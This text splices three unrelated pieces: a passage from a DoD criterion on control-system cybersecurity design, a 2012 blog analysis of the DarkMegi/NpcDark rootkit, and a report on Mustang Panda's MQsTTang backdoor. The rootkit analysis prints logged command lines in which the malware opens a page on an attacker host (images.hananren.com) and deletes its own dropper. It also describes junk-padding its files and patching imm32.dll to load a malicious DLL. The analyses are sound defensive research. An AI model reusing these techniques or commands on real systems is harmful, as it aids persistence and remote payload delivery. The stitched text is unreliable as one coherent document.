Maintenance, Inspection, and Repair Team (CEMIRT) ICS Branch, Tyndall AFB - Marine Corps: Contact Navy POC for Marine Corps POC information. Note: All requests for support must be initiated by the Contracting Officer's Representative (COR) or, for government-designed projects, by the Project Lead. ### 1-7 REFERENCES APPENDIX A contains a list of references used in this document. The publication date or revision of the code or standard is not always included in this document. In general, when the publication date or revision is not included, the latest available issuance of the reference is used. ### 1-8 GLOSSARY APPENDIX B contains acronyms, abbreviations, and terms. ## CHAPTER 2 CONTROL SYSTEM CYBERSECURITY OVERVIEW ### 2-1 RISK MANAGEMENT FRAMEWORK OVERVIEW A summary of key aspects of the Risk Management Framework (RMF) as it applies to control system design is provided here. APPENDIX C contains a more extensive summary of the RMF as it relates to this UFC. It is highly recommended that readers unfamiliar with the RMF review APPENDIX C before incorporating cybersecurity requirements into control system design. ### 2-1.1 Security Controls The RMF relies on the implementation of security controls, where a control is a specific action taken to secure a system. Note that this usage of the word ‘control’ is different from control engineering or control systems engineering, which is the engineering discipline that applies control theory to design systems with desired behaviors. To provide clarity of usage, this UFC will use the term “security control” to refer to cybersecurity controls. ### 2-1.2 RMF Goal The goal of the RMF is to reduce and mitigate vulnerabilities until the risk is acceptable to the System Owner (SO) and Authorizing Official (AO). Under the RMF, risk reduction is not "all or nothing", rather the security solution must reduce risk while considering the constraints of resources and mission requirements. For application of the RMF to control systems, the determination of cybersecurity risk reduction must also account for any additional risks to system functionality due to application of the security controls. The decision of whether a level of risk is acceptable is made by the assigned government AO. The designer provides input into the risk analysis process by advising on the impact, or lack thereof, of applying security controls to the control system. ### 2-1.3 Platform Information Technology DoD Instructions 8500.01 and 8510.01 define the Risk Management Framework (RMF) for the DoD and establish a category for “special purpose” systems that are not traditional information technology or information systems, called Platform Information Technology (PIT) systems. These PIT systems, including control systems, use specifically tailored security controls sets and require the AO to have expertise in the system. The selection of the set of security controls to implement for a given system is the responsibility of the AO. The designer provides input into security control selection by advising on the feasibility and potential impacts of applying a security control. ### 2-1.4 Inherited Security Controls An inherited security control is a security control that a system meets by virtue of someone else addressing it in such a way that it applies to the system. A control system will generally inherit security controls one of three ways: by existing within a physical security boundary, by being covered by policies and procedures already in place, or by connection to another system which addresses the security controls. Since inheritance often requires the SO to coordinate with others, it’s critical to document all security controls the control system expects to inherit. During control system design, the designer must identify and document any security controls which are expected to be inherited. ### 2-1.4.1 Physical Security Inheritance Example DoD installations implement physical security to manage risk to an acceptable level. For a control system on a DoD Installation, a security control requiring that members of the public not be allowed unrestricted physical access to components of a control system will be met by virtue of the control system existing within that physical security boundary. Although military installations are on occasion opened to the public for events such as boot camp graduations, the access is not unrestricted, and the level of access has been accepted by installation security. Since control systems are innately tied to and co-located with the physical systems they control, in most cases a control system will be able to inherit physical security from the installation or separately secured facilities. ### 2-1.4.2 Policy and Procedures Inheritance Example The DoD has policies in place governing many aspects of cybersecurity. A control system can therefore inherit a security control such as “the organization defines the frequency to review and update the current security planning policy”. ### 2-1.4.3 Connection to another System Inheritance Example When a control system connects to another system, such as an Installation-wide network, inheritance may not be automatic but may require an agreement between the SOs of the systems. Such an agreement would cover acceptable behavior of the control system and explicitly define the security controls that will be inherited from the other system. ### 2-1.5 Applicability of RMF Security Controls to Design Security controls cover a wide range of requirements, many of which must be addressed by someone outside the control system design process. For example, a security control that states “The organization protects the control system from unauthorized modification by members of the organization” is normally not addressed by the designer; but rather is addressed through policies and procedures put in place by the organization that owns and operates the control system. ### 2-1.5.1 Applicability of RMF Security Controls to Design of Critical Systems The determination of whether a security control should be applied at design can become particularly complex for more critical (higher impact) systems. While it may be sufficient for a LOW impact system to assume a particular security control is addressed by another entity, the designer of a HIGH impact system may need to explicitly address a security control to ensure it is being implemented properly, to apply it at a higher standard, or to provide tools to the responsible parties to assist their implementation of the security control. For example, while a security control stating “The organization protects the control system from unauthorized modification by members of the organization” might be addressed through policies and procedures for a LOW impact system, a higher impact system may require the designer to explicitly design in additional barriers to unauthorized modification, or to provide guidance to the organization concerning the importance of properly securing the control system against modification. In this case, however, it’s vital to consider the impact these restrictions may have on the ability to make necessary authorized changes. For this reason, designers of systems with HIGH mission impact should likely seek the assistance of a dedicated cybersecurity engineer. MODERATE systems may also require specialized attention depending on the particular circumstances of the design. ### 2-2 5-LEVEL CONTROL SYSTEM ARCHITECTURE Even though control systems are becoming more like standard IT systems, there remain major differences that must be recognized. The 5-Level control system architecture is a framework for describing the system architecture of any control system. This architecture allows distinctions to be made between portions of the control system that look like standard IT, and portions that do not look like standard IT. This is important as many security controls can be applied in the normal fashion to the portion of the control system that looks like a standard IT system, but cannot be applied without modification (or sometimes at all) to the portion that does not look like a standard IT system. APPENDIX E provides a more in-depth description of the 5-Level control system architecture. ### 2-2.1 “Standard IT” Parts of the Control System The parts of the control system that most resemble a standard or traditional IT system are referred to as the “Standard IT” parts: - The IP Network portion of Level 4 (Level 4N). - The IP Network portion of Level 2 (Levels 2N and 2B). - The field point of connection (FPOC) at Level 3. - The computer hardware for both servers and workstations (Levels 2D, 4A, 4B). - The computer OS and other standard packages (e.g., antivirus) for both servers and workstations (desktops and laptops) (Levels 2D, 4A, 4B). - External connections and control system management at Level 5. The cybersecurity for the “standard IT” parts of the control system are largely addressed using standard cybersecurity practices and are generally outside the scope of control system design, and are not addressed by this UFC. The designer must address the IP Network at Level 2N, which is generally procured and installed by the control system contractor, and the control system specific software used by the front end, which is generally not adequately covered by standard IT approaches. ### 2-2.2 “Non-Standard IT” Parts of the Control System What makes cybersecurity for a control system challenging is the parts of the control system that do not generally resemble a standard IT system: Level 0, Level 1, Level 2A, Level 2C and the control system applications at Level 2D, Level 4A and Level 4B. These parts of the control system are referred to as the “non-standard IT” parts in order to differentiate them from the “standard IT” parts. Traditional cybersecurity tools and requirements such as vulnerability management alerts, bulletins, Secure Technical Implementation Guides (STIGs) and DoD IT Policies are seldom applicable to these components, particularly to devices at Levels 0, 1 or 2. For example, a security control requiring the screen to be locked when the user leaves the computer is not applicable to devices that do not have a screen or support user login. Different levels of the architecture have different issues related to the application of standard cybersecurity tools and requirements. Cybersecurity for these portions of the control system must be addressed by the control system designer. ### 2-2.3 Platform Enclave Significant portions of the control system resemble a standard IT system which can be implemented in a standard manner for different control systems, regardless of the details of the control system itself. This has led to the creation of the Platform Enclave concept, which groups the “standard IT” portions of the control system, plus related standard policies and procedures, into an entity which can be handled separately from the rest of the control system. In some cases this Platform Enclave will be separately authorized and the overall control system will have two authorizations, one for the Platform Enclave and one for the Operational Architecture which primarily covers the “non-standard IT” components of the system. In other cases a single authorization will be used for the entire system. Even in cases where a single authorization is used, however, it’s helpful to identify and categorize the “standard IT” portions of the control system. ### 2-3 CONTROL SYSTEM PROCUREMENT OVERVIEW The DoD does not procure most installation-wide control systems as an entire 5-Level system. Typically, some Field Control Systems (FCS; architecture Levels 0, 1 and 2) are procured with a front end, and over time additional FCS are procured. These additional FCS are integrated with the existing front end, and added to the authorization to operate for the existing system to expand the installation-wide system. When designing a FCS that will be added to an existing system, there may be cybersecurity requirements specific to the authorization of the existing system which must be incorporated into the FCS design. This UFC cannot address site-specific requirements; when designing systems which will be added to an existing system authorization coordinate with the project site to obtain relevant requirements from the existing system. Some control systems are procured to operate independently, with no integration to a larger system and without further significant expansion. Depending on the circumstances and architecture, treat these systems either as complete systems, containing all 4 or 5 Levels, or as a FCS (Level 0-2) with its own user interface at Levels 1 or 2. ## CHAPTER 3 APPLYING CYBERSECURITY IN DESIGN ### 3-1 OVERVIEW The design of cybersecurity for facility-related control systems is a five step process. In some cases a specific step may be performed by someone other than the designer, but may still require input from the designer. Documentation of cybersecurity-related design decisions and input to others is described in CHAPTER 5. In addition to requirements specific to Control Correlation Identifier (CCIs), design all control systems according to the minimum cybersecurity design requirements in CHAPTER 4 and cybersecurity requirements otherwise standard for the type of control system being designed. ### 3-1.1 Five Steps for Cybersecurity Design The five steps for cybersecurity design are: 1. Based on the organizational mission and details of the control system, the System Owner (SO) and Authorizing Official (AO) determine the Confidentiality, Integrity, and Availability (C-I-A) impact levels (LOW, MODERATE, or HIGH) for the control system. 2. Use the impact levels to select the proper list of controls from NIST SP 800-82. 3. Using the DoD master Control Correlation Identifier (CCI) list, create a list of relevant CCIs based on the controls selected in Step 2. 4. Categorize CCIs and identify CCIs that require input from the designer or are the designer’s responsibility. 5. Include cybersecurity requirements in the project specifications and provide input to others as required. APPENDIX H contains tables covering steps 2 – 4 for LOW and MODERATE systems, assuming the existence of a Platform Enclave. These tables, with additional information in a filterable format, are also available in Excel format on the RMF Knowledge Service. This website is CAC-enabled; designers without a CAC must request assistance from the Service if tables and information were not provided. ### 3-1.2 Definition of “Organization” Security controls often refer to the “organization” in identifying responsibilities and risk. Unless otherwise indicated, for the purposes of implementation of the RMF to control systems: - For determining the impact level of a system, treat the “organization” as the relevant Service (e.g., Army, Navy, Air Force). - For determining implementation requirements for specific controls, treat the “organization” as the Installation (garrison, post or base) or Region (for regional systems). Note that this doesn’t conflict with the above statement regarding the organization for determining impact, but rather indicates the portion of the Service that will have responsibility for implementation of the control. ### 3-2 STEP 1: DETERMINE CONTROL SYSTEM IMPACT RATING The SO, with concurrence from the AO, determines the impact levels of the control system. The SO may seek assistance from the control system designer in defining the functionality of the control system, the information the control system contains, and the impact of failure of the control system. For the DoD, impact levels are determined based on the mission of the relevant Service and in many cases can use the mission criticality rating of the facility (mission support, mission essential, mission critical) as a starting point to determining control system impact. It’s also important to note that while a traditional information system generally prioritizes Confidentiality, then Integrity and lastly Availability, control systems usually prioritize Availability first, then Integrity and lastly Confidentiality. If impact ratings aren’t provided, request them from the Service. If the Service is unable to provide impact ratings then request direction from the Service and follow one of two courses of action as directed: 1. Use the “starting” impact ratings for the control system type and facility rating (mission support, mission essential, mission critical) from the Control System Master List available at the RMF Knowledge Service website. 2. Do not proceed with the design until C-I-A Impact ratings are provided. ### 3-3 STEP 2: DETERMINATION OF SECURITY CONTROLS When the list of relevant controls is not provided by the Service, determine a starting list of controls based on the Confidentiality (C), Integrity (I) and Availability (A) impact ratings (or C-I-A ratings) provided by the Service. The DoD uses NIST SP 800-82 as an overlay to determine the starting baseline security controls for control systems. The RMF Knowledge Service contains guidance on determining controls from C-I-A ratings, including an Excel Spreadsheet that generates a control list based on the impact ratings and the NIST SP 800-82 guidance. This website is CAC-enabled; designers without a CAC must request assistance from the Service if tables and information were not provided. ### 3-3.1 Recommend Security Controls to Tailor Out The standard security control baselines were developed for standard information systems and contain security controls that are entirely inapplicable to control systems (or other Platform Information Technology), or are prohibitive to implement due to technical or resource constraints. The RMF process allows these baselines to be tailored for the project by the removal or addition of specific controls. Review the list of controls and provide recommendations for controls to be tailored out from (or added to) the security control set as part of the cybersecurity documentation required by CHAPTER 5. Note this tailoring can either be applied at the security control level during Step 2 or at the CCI level during Step 3 of the design process. For a LOW Impact system, Table H-2 and Table H-3 list recommended CCIs to be tailored out. ### 3-4 STEP 3: IDENTIFICATION OF CONTROL CORRELATION IDENTIFIERS Using the list of security controls from Step 2, create the list of corresponding control correlation identifiers (CCIs). This list of CCIs provides the starting point for identifying cybersecurity requirements to be included in control system design. The complete CCI list is available at the RMF Knowledge Service website via the “Export All Assessment Procedures to Spreadsheet" link. From the URL, select "All Control Families" from the "Choose Control Family" pull-down. After the page re-populates with the controls, click on "Export Implementation Guidance and Assessment Procedures" to download the CCIs into Excel. Note: This website is CAC-enabled; designers without a CAC must request the CCI list from the Service if it was not provided. ### 3-5 STEP 4: CATEGORIZATION OF CONTROL CORRELATION IDENTIFIERS BY RESPONSIBILITY Categorize each CCI identified in Step 3 as one or more of the following categories: - DoD-Defined: Either the DoD has provided a value for the “organization selected” values, or the DoD implementation guidance states that the CCI is already met by existing policy or regulation. These values are defined in the CCI list obtained from the RMF Knowledge Service. Note that definition or guidance provided may not be relevant for a control system – the organization definitions were determined from the perspective of a traditional information system, not for a control system. - Designer: The designer has a role to address for this CCI. Either the designer needs to provide design specifications to cover a requirement for the control system itself, or the designer must provide input to others regarding the implementation or lack of feasibility of the CCI (typically because the CCI was written with an IT system, not a control system in mind). - Non-Designer: The CCI is beyond the responsibility of the designer, and is the responsibility of someone else – typically the SO. This does not diminish the importance of these CCIs, but as these CCIs are not the responsibility of the designer they are beyond the scope of this UFC. - Platform Enclave: The CCI contains a requirement which is expected to be implemented at the Platform Enclave and inherited by the control system, or is mostly implemented at the Platform Enclave but also needed within the field control system (in which case the CCI is also in the “Designer” category). For example, passwords are implemented at the Platform Enclave, but are also necessary at the control system user interface itself, local display panels and some controllers (those which support passwords). While implementation of the Platform Enclave is not the designer’s responsibility (a key point of the Platform Enclave is that it is a standard approach that can be implemented across multiple control systems), it’s important to document CCIs the control system expects to inherit from the Platform Enclave. The Platform Enclave category is in many ways a special case of the Non-Designer category, as it indicates a CCI that is addressed by others. - Impractical: The CCI is impractical to fully implement in a control system, but may be applied in a limited manner to at least some part of the control system. In most cases, these are CCIs that can be implemented at Level 4 of the architecture, but would be prohibitively difficult to implement at Levels 0, 1, or 2. Many CCIs will be assigned multiple categories. For example, a security control related to passwords would be categorized in both Platform Enclave and Designer categories as it must be addressed at the Level 4 computers as well as at Level 1 and Level 2. If the DoD has selected a minimum password length for use with this control which cannot be met by all devices, it would also be categorized as Impractical and the designer must document how the security control was implemented for devices unable to meet the DoD selected value. ### 3-6 STEP 5: INCORPORATE CYBERSECURITY REQUIREMENTS In addition to requirements specific to CCIs, design all control systems according to the minimum cybersecurity design requirements in CHAPTER 4 and cybersecurity requirements otherwise standard for the type of control system being designed. For each CCI identified as “designer”, address the CCI in one or more of the following three ways: - Incorporate a design requirement in the specifications for the control system. - Select or identify required changes to standard CCI requirements which affect CCI implementation, such as the value of a specific parameter. Note that approval or rejection of these values by the Service (the AO or their designated representative) will impact control system design. - Provide information about the design to others so they can implement a CCI. In particular, document CCIs that the system is expected to be inherited from another system or the Platform Enclave. ### 3-6.1 Addressing DoD Selected Values in CCIs Many CCIs have DoD standard values and are indicated in the Master CCI List as being automatically met or inherited based on the standard value. These CCIs have been derived from the general security controls in NIST SP 800-53, without regard to special consideration which might apply to a control system, such as the tailoring and supplemental guidance in NIST SP 800-82. Many of these CCIs cannot be applied to control systems using the approach identified by the DoD. In these cases, implement the CCI to the greatest extent practical, and document the incompatibilities. ### 3-6.2 Other “Organization Defined Values” in CCIs For CCIs which refer to “organization defined values” where the DoD has not defined value and one has not been provided, request appropriate values from the Service. If the Service is unable to provide values, propose reasonable values and document the proposed value with rationale. ### 3-6.3 Requirement Definition and Implementation CCIs Often, one CCI defines a requirement, and a second requires the implementation of that requirement. A hypothetical example is: - CCI #1 says “organization defines which components collect audit records”. The implementation guidance for this CCI says “this is automatically met because the DoD has defined the components as ‘all components’”. - CCI #2 says “the information system collects audit records at the defined components”. Together, these create an impossible requirement: if one accepts the definition in #1 (and that it’s “automatically met”), then the system fails to meet #2 because, for example, Level 0 sensors can’t collect audit records. In this case, both CCIs are “Designer” category; propose reasonable values for CCI #1, implement CCI #2 using this value and document the proposed values for CCI #1. ## CHAPTER 4 MINIMUM CYBERSECURITY DESIGN REQUIREMENTS ### 4-1 DESIGN TO MINIMIZE FAILURE #### 4-1.1 Reduce Dependency on the Network Avoid dependence on the network for the execution of control strategies. For example, a backup generator should always start based on a local measurement of utility availability, and not require a network "START" command. When dependence on the network is unavoidable, isolate that portion of the network as much as possible so that non-local network outages do not affect the required portions of the network. When a user interface is absolutely required for the functioning of a control strategy, consider a local interface (local display panel) or a dedicated front end (Level 2 front end) physically co-located with the equipment. In some cases, it may be necessary to take additional steps to protect critical functions from modification over the network, for example a controller where critical parameters are exposed to network manipulation based on the controller design. In these cases, design barriers to manipulation into the control network architecture itself. See APPENDIX F for one possible approach. #### 4-1.2 Reduce Extraneous Functionality Since additional capabilities often result in additional vulnerabilities, a key cybersecurity concept is “least functionality”, which means not adding capabilities which are not specifically needed. Design control systems to minimize additional functionality which may create vulnerabilities in the control system, including but not limited to: - Consider mission requirements before implementing remote adjustment of system parameters which are not expected or required to change. For example, a critical air conditioner serving a data center, a critical command and control building, or a UPS room which needs to maintain space temperature at 65 degrees Fahrenheit, 24 hours a day, 365 days a year should not have a network configurable operating schedule or set-point. - Advanced or complex control strategies often require increased sensor inputs and a greater level of maintenance. Use care when requiring these strategies as the increased complexity results in increased probability of failure if the system is not properly maintained or if any specific parameter is compromised. ### 4-2 DESIGN TO MANAGE FAILURE #### 4-2.1 Design for Graceful Failure ##### 4-2.1.1 Control Systems without Subsystems For control systems controlling a single process or piece of equipment, coordinate with the equipment designer to determine any additional redundancy and failure requirements, and design the control system to match the requirements for the underlying equipment. In all cases design these systems to fail “safe” as defined by the criteria for the controlled system. For example, in cold climates, outside air intake dampers must fail closed based on the requirements of the heating, ventilation, and air conditioning UFC. ##### 4-2.1.2 Control Systems with Independent Subsystems Many control systems are described as a single system but are actually composed of many (hundreds, even thousands) of essentially independent systems. A common example of this would be an installation-wide UMCS, where the air handler (AHU) controllers in one building have no dependence on the AHU in another building, and often no dependence on AHUs in the same building. For control systems with independent subsystems, design each subsystem as required in paragraph 4-2.1.1, Control Systems without Subsystems, and also design the overall system such that loss of a single subsystem does not affect the operation of the rest of the system. Reduce information shared between subsystems and minimize dependence on the network. For subsystems which must rely on other subsystems define default (“fall back”) behavior in the event that the other subsystem fails. #### 4-2.2 Degraded Operation After a system fails to a safe state, it may need to resume operation in a degraded capacity using some automated or manual method, recognizing there may be risk in this operation but that risk is manageable and outweighed by mission requirements. Based on mission requirements, consider requiring means for manual operation including both monitoring instrumentation (e.g., thermometers, pressure gauges, meters), and manual control devices (such as “hand-off-auto” switches and actuators with manual actuation capability). #### 4-2.3 Redundancy If the criticality of the mission requires redundancy in the design of the control system, then the system must be designed to function without external intervention, and especially without human intervention. Design control strategies such that spare units start automatically when running units shut down, or have all units run and share load. Care must be taken when load-sharing to ensure that operators are notified when one unit of a redundant set fails since the remaining units will automatically pick up the load with no disruption in the load. Do not rely on an operator to start any backup unit; the odds of the operator not being available, or taking an incorrect action are too great. Provide alarms to alert operators of failures. ### 4-3 DO NOT IMPLEMENT STANDARD IT FUNCTIONS As a type of Platform IT, control systems are special purpose systems and must not be used as general computing resources. In particular: - Do not share control system resources with other systems, particularly with non-PIT systems. Some exceptions such as separate virtual servers running on common hardware or shared Ethernet media with separate VLANs, may be permitted, but the overlap between control systems and other systems must be minimized. - Do not allow control systems to provide, or share resources with, other applications that provide standard IT services. In particular, do not use control system components as Domain Name System (DNS) servers. (DNS servers may be implemented within the “Platform Enclave” at Level 5, but that is beyond the scope of the control system designer’s responsibility and not addressed by this UFC.) - Do not allow control systems to be publicly accessible (i.e., they must require authentication prior to access). - Prohibit the use of mobile code, except mobile code may be allowed at Level 4. Note that control systems may use mobile code technologies, Java in particular, within the control system, but must not download code without direct user approval. - Do not use control system computers as standard computers for general applications. - Do not implement Voice over Internet Protocol (VoIP) within the control system. - Do not implement collaborative computing devices, technologies or protocols within the control system. - Unless specifically authorized by the Service and required by the project site, do not allow control system components to access non-mil IP address space. Do not allow control system components to access social media. (Note that access to non-mil IP address space is generally not needed, and when needed will generally be a function of the front end, not the field control system.) - Do not allow control systems to receive email (note that at Level 4 they may need a method of sending email for notifications). ### 4-4 DO NOT PROVIDE REMOTE ACCESS Do not provide remote access to the control system. If required, remote access to the Level 4 network should be provided by the Platform Enclave or the site IT organization. Coordinate remote access requirements with the project site IT organization and with the POCs listed in CHAPTER 1. ## CHAPTER 5 CYBERSECURITY DOCUMENTATION This chapter describes cybersecurity documentation that is required as part of the control system design package. This documentation is in addition to the documentation required by the relevant control system design criteria. ### 5-1 OVERVIEW Cybersecurity documentation for control system design documents the security controls and CCIs applied to the control system along with assumptions made regarding CCI implementation and information required by others. ### 5-2 REQUIREMENTS BY DESIGN PHASE Cybersecurity documentation requirements are indicated here by typical Design-Build or Design-Bid-Build design submittals. If the design is using a different submittal schedule, adjust accordingly. The requirements here reference the five step cybersecurity design process defined in CHAPTER 3. #### 5-2.1 Basis of Design Provide a single submittal indicating the C-I-A impact level for the control system and listing the security controls generated during Step 2 along with recommendations and justifications for further tailoring of the security control set. #### 5-2.2 Design Submittals ##### 5-2.2.1 Concept Design Submittal (10-15%) Provide a single submittal indicating the CCIs resulting from the approved tailored security control list (Step 3) and an initial classification for each CCI (Step 4). ##### 5-2.2.2 Design Development Submittal (35-50%) Provide a single submittal documenting the following: - The final classification of each CCI (Step 4). - The changes to standard CCI requirements identified in Step 5, along with an explanation of the changes. - The CCIs which have been incorporated into the control system design (Step 5). Document changes from standard requirements, or selections made when multiple options are available. Otherwise, it is not necessary to document the details of the requirement, just whether a specific CCI has been incorporated. - Information for others as required (Step 5). The recommended format for this submittal is to use the format of the previous submittal with the addition of a column to document the required information. ##### 5-2.2.3 Pre-Final Design Submittal (90%) Provide a submittal updating the Design Development Submittal with complete final information. ##### 5-2.2.4 Final Design Submittal (100%) Provide a submittal updating the Pre-Final Design Submittal with complete final information. ## APPENDIX A REFERENCES COMMITTEE ON NATIONAL SECURITY SYSTEMS CNSSI No. 1253, Security Categorization and Control Selection for National Security Systems CNSSI No. 4009, Committee on National Security Systems (CNSS) Glossary UNITED STATES DEPARTMENT OF DEFENSE Department of Defense Instruction 8500.01, Cybersecurity, March 2014 Department of Defense Instruction 8510.01, Risk Management Framework (RMF) for DoD Information Technology (IT), March 2014 FEDERAL INFORMATION PROCESSING STANDARDS FIPS PUB 200, Minimum Security Requirements for Federal Information and Information Systems FIPS PUB 201-2, Personal Identity Verification (PIV) of Federal Employees and Contractors INSTITUTE OF ELECTRICAL AND ELECTRONICS ENGINEERS (IEEE) IEEE 802.1X, Port Based Network Access Control NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY NIST SP 800-37, Guide for Applying the Risk Management Framework to Federal Information Systems, February 2010 NIST SP 800-53 Revision 4, Security and Privacy Controls for Federal Information Systems and Organizations, April 2013 NIST SP 800-82 Revision 2, Guide to Industrial Control Systems (ICS) Security, May 2015
# Analysis of DarkMegi aka NpcDark Written by Kimberly on Friday, 20 April 2012. Posted in Rootkits Viewed 6867 times I’ve always been interested in rootkits and their removal. So it was no surprise that after reading the article about DarkMegi I tried to find the rootkit dropper. Two security colleagues were kind enough to forward me a few samples. According to the analysis performed by McAfee Labs, DarkMegi was the first known threat delivered through the CVE-2012-0003 - MIDI Remote Code Execution Vulnerability. DarkMegi has also been distributed via the Gong Da Pack exploit kit and more recently via the Blackhole Exploit kit. DarkMegi is complex and difficult to analyze; it involves more than just dropping a usermode component (com32.dll) and a kernel driver (com32.sys) on the victim’s computer. Upon execution, DarkMegiSample.exe, as we will name the file in the analysis, starts up an instance of ipconfig.exe. **[EXECUTION]** "c:\windows\system32\ipconfig.exe" was allowed to run **[EXECUTION]** Started by "c:\documents and settings\kly\desktop\darkmegisample.exe" **[EXECUTION]** Commandline - [ipconfig.exe] DarkMegiSample.exe then installs a service called Com32 and drops the kernel driver com32.sys into the Drivers directory. At this stage, 9728 bytes have been written to the file. **[DRIVER/SERVICE]** c:\documents and settings\kly\desktop\darkmegisample.exe Tried to install a driver/service named Com32 DarkMegiSample.exe then creates a file called RCX1.tmp in the Drivers folder, copies the current content of com32.sys to the file and appends a huge pile of junk data to RCX1.tmp so that the size of the file is 25.0 MB (26,224,256 bytes). The file com32.sys is deleted and RCX1.tmp is renamed as com32.sys. The kernel driver com32.sys contains a couple of interesting strings: 0x00001757: 'H:\RKTDOW~1\RKTDRI~1\RKTDRI~1\objfre\i386\RktDriver.pdb' 0x019021C4: 'The driver for the supercool driver-based tool' 0x01902328: 'Supercool driver-based tool' 0x0000062E: 'DosDevices\NpcDark' 0x0000060E: 'Device\NpcDark' 0x01902274: 'RktDriver.sys' DarkMegiSample.exe then drops the usermode component com32.dll, the file size is 45,056 bytes upon creation. Similar to the driver, the dll will get a huge amount of junk data appended so that the final file size becomes 30.0 MB (31,506,432 bytes). The file com32.dll is deleted and RCX2.tmp is renamed as com32.dll. DarkMegiSample.exe launches an instance of rundll32.exe to load the freshly created usermode component com32.dll. **[EXECUTION]** "c:\windows\system32\rundll32.exe" was blocked from running **[EXECUTION]** Started by "c:\documents and settings\kly\desktop\darkmegisample.exe" **[EXECUTION]** Commandline - [c:\windows\system32\rundll32.exe c:\windows\system32\com32.dll getinterface] DarkMegiSample.exe launches several hidden instances of Internet Explorer. The usermode component com32.dll is loaded under Internet Explorer too now. **[EXECUTION]** "c:\program files\internet explorer\iexplore.exe" was allowed to run **[EXECUTION]** Started by "c:\documents and settings\kly\desktop\darkmegisample.exe" **[EXECUTION]** Commandline - ["c:\program files\internet explorer\iexplore.exe"] **[EXECUTION]** "c:\program files\internet explorer\iexplore.exe" was allowed to run **[EXECUTION]** Started by "c:\documents and settings\kly\desktop\darkmegisample.exe" **[EXECUTION]** Commandline - ["c:\program files\internet explorer\iexplore.exe"] The usermode component com32.dll contains a list of hardcoded DNS Servers and is most likely able to download an updated version of the rootkit. Again we find a reference to NpcDark ... would the author be a fan of WOW (World of Warcraft)? - 8.8.8.8 - google-public-dns-a.google.com - 208.67.222.222 - resolver1.opendns.com - 165.87.201.244 - ns4.us.prserv.net - 209.166.160.36 - orion.dns.cc.stargate.net - 168.95.192.1 - hntp1.hinet.net Internet access is requested to download two files and contact what seems to be a stats page. 20111230.exe is renamed as fuc6.tmp.exe 20111230.jpg is renamed as fuc5.tmp **[EXECUTION]** "c:\program files\internet explorer\iexplore.exe" was allowed to run **[EXECUTION]** Started by "c:\windows\system32\rundll32.exe" **[EXECUTION]** Commandline - ["c:\program files\internet explorer\iexplore.exe" http://images.hananren.com/newd.htm] The domain images.hananren.com has been registered the 1st of July 2011 and as seen below the registrant details are totally faked. images.hananren.com - 70.39.69.236 Updated 01-jul-2011 Creation Date: 01-jul-2011 Name Server: NS77.DOMAINCONTROL.COM Name Server: NS78.DOMAINCONTROL.COM Registrar: GODADDY.COM, LLC Registrant: y3z1007 This e-mail address is being protected from spambots. You need JavaScript enabled to view it sdfsfsdfsdfsdf benjing, beijing 101100 1-380-013-8000 DarkMegiSample.exe will now exit and delete itself. The file fuc6.tmp.exe is launched by rundll32.exe and will also delete itself after execution. **[EXECUTION]** "c:\windows\system32\cmd.exe" was allowed to run **[EXECUTION]** Started by "Unknown Process" **[EXECUTION]** Commandline - [c:\windows\system32\cmd.exe /c del "c:\docume~1\kly\locals~1\temp\fuc6.tmp.exe"] It's hard to tell what the purpose of fuc6.tmp.exe is via Process Monitor but we notice that a randomly named file, VT2XT4d.tmp in our analysis, has been marked for deletion upon reboot. Both cmd.exe and Internet Explorer will load another dll dropped by the rootkit: bdcapEx32.dll. After examining the strings in VT2XT4d.tmp I found out that this was actually a copy of imm32.dll. The file imm32.dll had been patched to load ... bdcapEx32.dll. The file imm32.dll is loaded by a huge number of processes on the system.
# MQsTTang: Mustang Panda’s Latest Backdoor Treads New Ground with Qt and MQTT ESET researchers have analyzed MQsTTang, a new custom backdoor attributed to the Mustang Panda APT group. This backdoor is part of an ongoing campaign traced back to early January 2023. Unlike most of the group’s malware, MQsTTang doesn’t seem to be based on existing families or publicly available projects. Mustang Panda is known for its customized Korplug variants (also dubbed PlugX) and elaborate loading chains. In a departure from the group’s usual tactics, MQsTTang has only a single stage and doesn’t use any obfuscation techniques. ## Victimology Unknown entities in Bulgaria and Australia have been observed in our telemetry. There is also information indicating that this campaign targets a governmental institution in Taiwan. The nature of the decoy filenames suggests that political and governmental organizations in Europe and Asia are also being targeted. This aligns with the targeting of the group’s other recent campaigns. Mustang Panda has been known to target European governmental entities since at least 2020 and has increased its activity in Europe since Russia’s invasion of Ukraine. ## Attribution We attribute this new backdoor and the campaign to Mustang Panda with high confidence based on several indicators. Archives containing samples of MQsTTang were found in two GitHub repositories belonging to the user YanNaingOo0072022. Another repository of the same user was used in a previous Mustang Panda campaign described by Avast in December 2022. One of the servers used in the current campaign was running a publicly accessible anonymous FTP server that seems to stage tools and payloads. In the `/pub/god` directory of this server, there are multiple Korplug loaders, archives, and tools used in previous Mustang Panda campaigns. This is the same directory used by the stager described in the aforementioned Avast blog post. Some of the infrastructure used in this campaign also matches the network fingerprint of previously known Mustang Panda servers. ## Technical Analysis MQsTTang is a barebones backdoor that allows the attacker to execute arbitrary commands on a victim’s machine and get the output. It uses the MQTT protocol for C&C communication, which is typically used for communication between IoT devices and controllers. This protocol hasn’t been widely used in publicly documented malware families. One such example is Chrysaor, also known as Pegasus for Android. MQsTTang is distributed in RAR archives containing a single executable. These executables usually have names related to diplomacy and passports, such as: - CVs Amb Officer PASSPORT Ministry Of Foreign Affairs.exe - Documents members of delegation diplomatic from Germany.exe - PDF_Passport and CVs of diplomatic members from Tokyo of JAPAN.exe - Note No.18-NG-23 from Embassy of Japan.exe These archives are hosted on a web server with no associated domain name, suggesting that the malware is spread via spearphishing. So far, only a few samples have been observed. Besides variations in some constants and hardcoded strings, the samples are remarkably similar. The latest versions include anti-analysis techniques, such as using the `CreateToolhelp32Snapshot` Windows API function to iterate through running processes and look for known debuggers and monitoring tools. The second technique uses the `FindWindowW` Windows API to look for specific Window Classes and Titles used by known analysis tools. When executed directly, the malware launches a copy of itself with an incrementing command line argument. When this argument hits specific values, certain tasks are executed. ## Conclusion The Mustang Panda campaign described in this article is ongoing. The victimology is unclear, but the decoy filenames align with the group’s other campaigns targeting European political entities. The MQsTTang backdoor provides a remote shell without the complexities associated with the group’s other malware families. It shows that Mustang Panda is exploring new technology stacks for its tools. It remains to be seen whether this backdoor will become a recurring part of the group’s arsenal, but it exemplifies the group’s fast development and deployment cycle.
